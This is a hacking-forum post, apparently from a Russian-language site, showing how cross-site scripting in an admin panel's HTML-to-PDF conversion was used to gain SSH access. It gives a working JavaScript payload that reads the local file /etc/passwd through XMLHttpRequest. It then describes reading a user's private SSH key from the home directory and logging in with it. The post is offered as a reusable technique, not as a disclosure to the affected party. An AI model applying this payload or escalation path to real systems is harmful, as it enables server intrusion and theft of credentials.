What's new
Runion

This is a sample guest message. Register a free account today to become a member! Once signed in, you'll be able to participate on this site by adding your own topics and posts, as well as connect with other members through your own private inbox!

Can XSS Get us SSH ?

oxostore

Light Weight
Депозит
$0
Holla XSS!

FIRST POST



[ I will be sharing some out of the box idea's here ]


How Far XSS can go ? is it dangerous bug ? is it only for stealing cookies ??



Situation : Admin access Panel infected with XSS and uploading any file converted to pdf format
Bypassing file upload was hopless.





1.png



I have Submit Js code
JavaScript: Скопировать в буфер обмена
Code:
<script>
x=new XMLHttpRequest;
x.onload=function()
{ document.write(this.responseText) };
x.open("GET","file:///etc/passwd"); x.send();
</script>



Then tried to download the PDF File
2.png




was able to read and load /etc/passwd, lets try to read something more interesting


Код: Скопировать в буфер обмена
/home/user/.ssh/rsa_id

AND

3.png






rsa_id Loaded!!


Making local id_rsa and chmod it 700.. was able to gain ssh access



4-1.png




SSH Active Connection ;)


Credits Please if Copied never shared in other forums!

show some love to keep this going by reaction or whatever support !

any translation to Russian is appreciated from experienced user !​

Вложения​

  • 1725779534410.png
    1725779534410.png
    15.3 КБ · Просмотры: 3
 
Top